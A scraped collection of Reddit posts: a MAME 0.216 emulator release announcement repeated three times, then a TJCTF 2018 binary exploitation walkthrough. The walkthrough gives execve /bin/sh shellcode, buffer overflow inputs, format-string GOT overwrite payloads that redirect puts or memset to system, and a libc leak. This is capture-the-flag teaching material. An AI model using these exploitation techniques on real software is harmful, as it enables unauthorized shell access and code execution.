GDB Command Reference - x command

MAME 0.216

MAME 0.216

With the end of November in sight, it’s time to check out MAME 0.216! We’ve addressed the reported issues with last month’s bgfx update, and made a whole lot of little improvements to MAME’s internal user interface. In particular, setting up controls should be easier, and several issues affecting macOS users with non-English number format settings have been fixed. Some of the issues caused bad settings to be written to INI files. If you still don’t see the filter list panel on the system selection menu, try removing the ui.ini file.
This month, we’re able to present two unreleased 1970s prototypes from Italian developer Model Racing: their internal code names are Cane and Orbite. With the assistance of former Model Racing employees, the source code was extracted from the original disks. These games are incomplete, but they provide a unique look into early CPU-based arcade development. Game & Watch titles continue to be emulated, with the addition of Mario The Juggler, and the panorama screen Mickey Mouse and Donkey Kong Circus games in this release.
This release brings GameKing emulation to MAME. The system-on-a-chip used in this low-cost, low-resolution hand-held console from the early 2000s has been identified and emulated. Games for the colour-screen GameKing III are also playable. Acorn BBC Micro emulation has been re-worked to support internal expansion boards, and a number of additional peripherals are now available. ZX Spectrum emulation has been enhanced with better open bus read behaviour and support for two Miles Gordon Technology peripherals.
Of course, these are just the highlights. You can get the source and Windows binary packages from the download page.

MAMETesters Bugs Fixed

New working machines

New working clones

Machines promoted to working

New machines marked as NOT_WORKING

New clones marked as NOT_WORKING

New working software list additions

Software list items promoted to working

New NOT_WORKING software list additions

Source Changes

submitted by cuavas to emulation [link] [comments]

MAME 0.216

MAME 0.216

With the end of November in sight, it’s time to check out MAME 0.216! We’ve addressed the reported issues with last month’s bgfx update, and made a whole lot of little improvements to MAME’s internal user interface. In particular, setting up controls should be easier, and several issues affecting macOS users with non-English number format settings have been fixed. Some of the issues caused bad settings to be written to INI files. If you still don’t see the filter list panel on the system selection menu, try removing the ui.ini file.
This month, we’re able to present two unreleased 1970s prototypes from Italian developer Model Racing: their internal code names are Cane and Orbite. With the assistance of former Model Racing employees, the source code was extracted from the original disks. These games are incomplete, but they provide a unique look into early CPU-based arcade development. Game & Watch titles continue to be emulated, with the addition of Mario The Juggler, and the panorama screen Mickey Mouse and Donkey Kong Circus games in this release.
This release brings GameKing emulation to MAME. The system-on-a-chip used in this low-cost, low-resolution hand-held console from the early 2000s has been identified and emulated. Games for the colour-screen GameKing III are also playable. Acorn BBC Micro emulation has been re-worked to support internal expansion boards, and a number of additional peripherals are now available. ZX Spectrum emulation has been enhanced with better open bus read behaviour and support for two Miles Gordon Technology peripherals.
Of course, these are just the highlights. You can get the source and Windows binary packages from the download page.

MAMETesters Bugs Fixed

New working machines

New working clones

Machines promoted to working

New machines marked as NOT_WORKING

New clones marked as NOT_WORKING

New working software list additions

Software list items promoted to working

New NOT_WORKING software list additions

Source Changes

submitted by cuavas to MAME [link] [comments]

MAME 0.216

MAME 0.216

With the end of November in sight, it’s time to check out MAME 0.216! We’ve addressed the reported issues with last month’s bgfx update, and made a whole lot of little improvements to MAME’s internal user interface. In particular, setting up controls should be easier, and several issues affecting macOS users with non-English number format settings have been fixed. Some of the issues caused bad settings to be written to INI files. If you still don’t see the filter list panel on the system selection menu, try removing the ui.ini file.
This month, we’re able to present two unreleased 1970s prototypes from Italian developer Model Racing: their internal code names are Cane and Orbite. With the assistance of former Model Racing employees, the source code was extracted from the original disks. These games are incomplete, but they provide a unique look into early CPU-based arcade development. Game & Watch titles continue to be emulated, with the addition of Mario The Juggler, and the panorama screen Mickey Mouse and Donkey Kong Circus games in this release.
This release brings GameKing emulation to MAME. The system-on-a-chip used in this low-cost, low-resolution hand-held console from the early 2000s has been identified and emulated. Games for the colour-screen GameKing III are also playable. Acorn BBC Micro emulation has been re-worked to support internal expansion boards, and a number of additional peripherals are now available. ZX Spectrum emulation has been enhanced with better open bus read behaviour and support for two Miles Gordon Technology peripherals.
Of course, these are just the highlights. You can get the source and Windows binary packages from the download page.

MAMETesters Bugs Fixed

New working machines

New working clones

Machines promoted to working

New machines marked as NOT_WORKING

New clones marked as NOT_WORKING

New working software list additions

Software list items promoted to working

New NOT_WORKING software list additions

Source Changes

submitted by cuavas to cade [link] [comments]

TJCTF 2018 - Binary Exploitation Guide

Hello, I am pretty new here and I just create a full guide for all pwn challenges from TJCTF.
I hope you'll enjoy them, here is the original link on medium: https://medium.com/@mihailferaru2000/tjctf-2018-full-binary-exploitation-walk-through-a72a9870564e

Math Whiz

We have a simple binary that will show us the flag if we could become admin.
if (admin) { printf("Successfully registered '%s' as an administrator account!\n", username); printf("Here is your flag: %s\n", FLAG); } else { printf("Successfully registered '%s' as an user account!\n", username); } 
But the admin variable is not set anywhere, so we need to pwn it. It will be pretty easy as we have the source code provided. If we take a look at the input function, we observe that it reads specified size multiplied by 16. The most obvious buffer overflow is when the PIN code gets read:
input(recoverypin, 4); 
This means that we read 64 bytes in a 4-byte array. We also see that the admin variable is declared before the buffers, so the question is how could we override it? Lucky enough, modern compilers move buffers before any other variables in order to get them way from the return pointer, but in our case, we are in advantage. Finally, any input larger than 52 bytes will provide us this beauty: tjctf{d4n63r0u5_buff3r_0v3rfl0w5}

Tilted Troop

We’ve got a binary that should read 8 team members with random strengths and simulate a battle with some fantastic creature. If the sum of strengths is our goal (400 in this case), we will get the flag. Again, we have the source code, so our life is a lot easier when we don’t have to disassemble. We see that the array of strengths is kept right after the array of names and maybe we could override somehow.
Checking how bound checks are done, we can spot a bug:
if(t.teamSize > MAX_TEAM_SIZE) 
Array indexing starts from 0, so from 0 to MAX_TEAM_SIZE there are MAX_TEAM_SIZE + 1 elements. We need to create 8 members in our team and then just override the strength variable.
for i in range(4): io.recvline() for i in range(8): io.sendline('A test') # this will override strength buffer # 'd' = 100 => 'd' * 4 = 400 io.sendline('A dddd') io.sendline('F') io.interactive() 
And here it is: tjctf{0oPs_CoMP4Ri5ONs_r_h4rD}
Full solution: https://github.com/JustBeYou/ctfs/blob/mastetjctf2018/strover.py

Future Canary Lab

Again, we have to deal with variable overriding, but this time we have some kind of protection:
// canary generation for (i = 0; i < 10; ++i) { canary[i] = check[i] = rand(); } // ... // canary check for (j = 0; j < 10; ++j) { if (canary[j] != check[j]) { printf("Alas, it would appear you lack the time travel powers we desire.\n"); exit(0); } } 
If you are familiar with stack canaries (or stack cookies) you easily recognize that this is a handmade implementation. As rand() is not a secure function, we could reproduce its return values for sure. In the **main() **function we see that it is initialized with the seed of current time, so it is pretty vulnerable. Using the current time when we connect to the server as the seed, we can generate the values from the canary. Here we have a little C program to generate 10 random values based on our seed:
int main(int argc, char **argv) { int seed = atoi(argv[1]); srand(seed); for (int i = 0; i <= 9; i++) { printf("%d\n", rand()); } return 0; } 
Now, as we bypassed the canary, we need to satisfy the following condition:
if (secret - i + j == 0xdeadbeef) 
secret is always 0, i could be overridden by us and j is always 10, so we need to override i with 0x2152411b to solve the equation.
At the end we have: tjctf{3l_p5y_k0n6r00_0ur_n3w357_l4b_m3mb3r!}
Full solution: https://github.com/JustBeYou/ctfs/blob/mastetjctf2018/interview.py
We were given a small demo banking system. We have the source code, so a vulnerability will be pretty easy to spot. At first it looks pretty secure, but if we take a look at the verify_pin() function we see a clear buffer overflow. Let’s run a checksec to see what protection does this binary implies:
[[email protected] tjctf2018]$ checksec problem [*] '/home/littlewho/ctfs/tjctf2018/problem' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments 
It does not have any stack canary or any other execution prevention, so the solution is straightforward. The name array is global so it is stored in the BSS section and we know its address: 0x6010A0. We could store our shellcode here and then use the overflow to jump here.
; execve(["/bin/sh",], [], []) bits 64 push 0x68 mov rax, 0x732f2f6e69622f2f push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx xor r10, r10 mov rax, 0x3b syscall 
Compile it as raw binary using nasm in order to easily use it. The layout of the attack vector is:
4 chars for PIN + 13 bytes to fill the buffer and the RBP + RIP 
Running the exploit
Flag: tjctf{d4n6_17_y0u_r0pp3d_m3_:(}
Full solution: https://github.com/JustBeYou/ctfs/blob/mastetjctf2018/problem.py

Secure Secrets

Challenges until now were pretty easy, the real fun starts now. Don’t get scary, they are still easy, but they need a little bit more amount of work than others as we don’t have the source code anymore and we need to do format string exploitation.
Running the application
This is how the application looks. It just reads a password and a message then shows the message. Let’s open the binary in IDA Pro (or Hopper). Both of them could generate pseudo-code of the program (press F5 in IDA or search in top menu of Hopper), but for now let’s analyze some Assembly.
We don’t see any buffer overflow, but the following code from get_message() looks interesting:
.text:0804885D mov eax, [ebp+arg_0] .text:08048860 mov [ebp+var_2C], eax ... .text:080488EC push [ebp+var_2C] ; format .text:080488EF call _printf .text:080488F4 add esp, 10h 
var_2C is the argument passed to the function and it represents our message and it is passed directly to printf() and that means: format string vulnerability! The scenario could be classic: leak libc, overwrite some function GOT with system, pass “/bin/sh” to it and get the flag, but it is even easier, after investigating the binary a little bit more we see another function named get_secret() that has some pretty interesting code in it:
.text:08048727 push offset modes ; "r" .text:0804872C push offset filename ; "flag.txt" .text:08048731 call _fopen 
So it is clear, we need to overwrite some GOT entry with the address of this function. I will chose **puts() **as it is called after our exploit few times. We need to write 0x08048713 (get_secret) at 0x0804A028 ([email protected]) in order to get the flag. We will use 2 writes of 2 bytes. (if you are not familiar with this type of exploit read this and watch this) Before we craft our exploit, we need to know where our controlled is in order to pop addresses from it. If we set a breakpoint before the printf at 0x080488EF and dump the stack, we will see that %35$x is our buffer.
This is a short explanation for those who don’t understand how I got that number. Open the executable in GDB and put a breakpoint at that printf. Input something like this in the message: *AAAABBBB %x %x %x *and now continue. When the breakpoint is hit, dump the stack then step to the next instruction. The printf output will be something like:
AAAABBBB ffffc5ec f7fa05c0 fbad2887 
Now let’s search those values in the stack dump.
https://preview.redd.it/s3z41w6k4uf11.png?width=380&format=png&auto=webp&s=df5851f8c46c152453bccda96d78524a5f4e4734
In the first square, we have the dumped values by printf and in the second one the actual buffer. The distance from first printed argument to the buffer is of 35 arguments. So, when we will want to overwrite few addresses using **%n **format argument, we will put those addresses at the beginning of our buffer and we will use %$n syntax to access them. Let’s proceed further.
Using python I generated the payload in a pretty manner:
arg_off = 35 puts_GOT = 0x0804A028 get_secret_ADDR = 0x08048713 write1 = 0x0804 - 8 write2 = 0x8713 - write1 - 8 payload = p32(puts_GOT + 2) + p32(puts_GOT) + "%{}x%{}$hn%{}x%{}$hn".format(write1, arg_off, write2, arg_off + 1) 
First we write the bytes with a smaller value and then the rest. After running it we get: tjctf{n1c3_j0b_y0u_r34lly_GOT_m3_600d}
Full solution: https://github.com/JustBeYou/ctfs/blob/mastetjctf2018/secure.py

Super Secure Secrets

Running the application
We have almost the same challenge, but with improved security, so let’s do some standard checks.
Checks
Now, there is no get_secret() function, we have no buffer overflow, but we still have the same format string vulnerability in the view message functionality. We need to follow a classic scenario:
Leaking the libc implies dumping the stack before the printf and investigate if we have any libc address that could be accessed by our %$p trick. As we are using a 64-bit binary, first 5 arguments are passed using registers, so stack arguments start at 6. Let’s use *%6$p %7$p %8$p *to dump few values:
0x7fffffffd390 0x7fffffffd3b0 0x100000000 
Leaked arguments
Here we have the values we printed. Looking ahead we see this:
Libc address onto the stack
By dividing 0x1d8 offset by pointer size on 64-bit arch (8 bytes) we get the position 65. So at %65$p we have __libc_start_main+ and we can leak the base address of libc. Now, we have to problems ahead:
Let’s solve them one by one. So, we have two options to get the version of libc, first would be to leak the argument 65 on the webserver, take its signature (last 3 digits) and use https://libc.blukat.me/ or https://github.com/niklasb/libc-database to find the version. In that case, the leaked address is 0x7fdf0a8a7b97 (it changes every time, only the last digits remain, this is just an example) and its signature is b97. The second option is to use an already solved pwn challenge to connect to the server and leak the libc version, it is not very fair play, but remember this trick, it is very useful in some CTFs with esoteric libc versions.
Both solutions lead to the same answer: libc6_2.27–3ubuntu1_amd64
Searching for libc
The offset of specified symbol is 0x21b97, so now we have the base address when we want, but we still need to force the program not to close. Let’s investigate the code after we run our exploit. (I used IDA to decompile)
unsigned __int64 __fastcall get_message(char *a1, const char *a2) { // ... code before this is not relevant printf(a1, &s, a2); puts("===================="); for ( i = 0; i <= 5; ++i ) v4[i] = byte_401238[rand() % 62]; v5 = 0; puts("As a free trial user, please complete the following captcha for our monitoring purposes."); printf("Captcha: %s\n", v4); fgets(&s2, 7, stdin); if ( !strcmp(v4, &s2) ) { puts("Thank you for your cooperation..."); } else { memset(a1, 0, 0x80uLL); puts("Incorrect captcha, your message was removed from our database."); } return __readfsqword(0x28u) ^ v8; } 
After this function returns, the program closes. The simplest solution is to overwrite the GOT of a function that is called before the exit and return to the beginning of the program. As memset() is not used in the rest of the program let’s rewrite its GOT with 0x400DA0 (the address where the menu is printed and the interaction starts).
Crafting the payload is a little bit tricky, we are now on 64-bit and addresses has a lot of zero bytes, so we can’t add them at the beginning of our message because that would end the printf. We could add them at the end, but in my case I chosen to add them in the password buffer and use them from there.
After leaking the right offsets, we can craft the following vector that will leak libc and will overwrite [email protected].
# addresses memset_GOT = 0x602050 secure_service_ADDR = 0x400DA0 # payload that leaks libc and rewrite memset() GOT to secure_service() # write zeros at the first 4 bytes and the address in the last 4 # also, we will store the addresses where we write in the password buffer off = 22 # offset of password buffer leak_off = 65 # offset of __libc_start_main_ret on the stack payload = "%{}$n%{}${}p%{}$n".format(off + 1, leak_off, secure_service_ADDR, off) ... leaked_libc = stack_leak_address - 0x21b97 # calculate the base 
The next step is to get the shell. We see that memset() is called with our message as the first argument, so if we replace it with system() and add at the beginning of our message “sh || ”, then we will get a shell and the errors from the rest of the string will be ignored. So, let’s write the payload:
# payload that rewrites memset() GOT to system() write1 = (0xffff00000000 & system_ADDR) / 0x100000000 write2 = (0x0000ffff0000 & system_ADDR) / 0x10000 write3 = (0x00000000ffff & system_ADDR) # sort the writes in ascending order writes = [ (write1, p64(memset_GOT + 4)), (write2, p64(memset_GOT + 2)), (write3, p64(memset_GOT + 0)) ] writes.sort(key=lambda tup: tup[0]) print (writes) addresses = ''.join(x[1] for x in writes) write3 = writes[0][0] write2 = writes[1][0] write1 = writes[2][0] code = "sh || " payload = code + "%{}x%{}$hn%{}x%{}$hn%{}x%{}$hn".format(write3 - len(code), off, write2 - write3, off + 1, write1 - write2, off + 2) 
Running the full script will have great results:
Running the exploit
Flag: tjctf{4r3_f0rm47_57r1n65_63771n6_0ld_y37?}
Full solution: https://github.com/JustBeYou/ctfs/blob/mastetjctf2018/super_secure.py
And here we are, at the end of the journey. We pwned them all! TJCTF was a great experience with pretty interesting tasks that were beginner oriented, so I recommend it to any newcomer as the organizers did a really great job to assure a high quality CTF.
Don’t forget to subscribe and follow my Github for more wargames solutions and guides. Thanks for reading!
submitted by l1ttl3wh0 to securityCTF [link] [comments]

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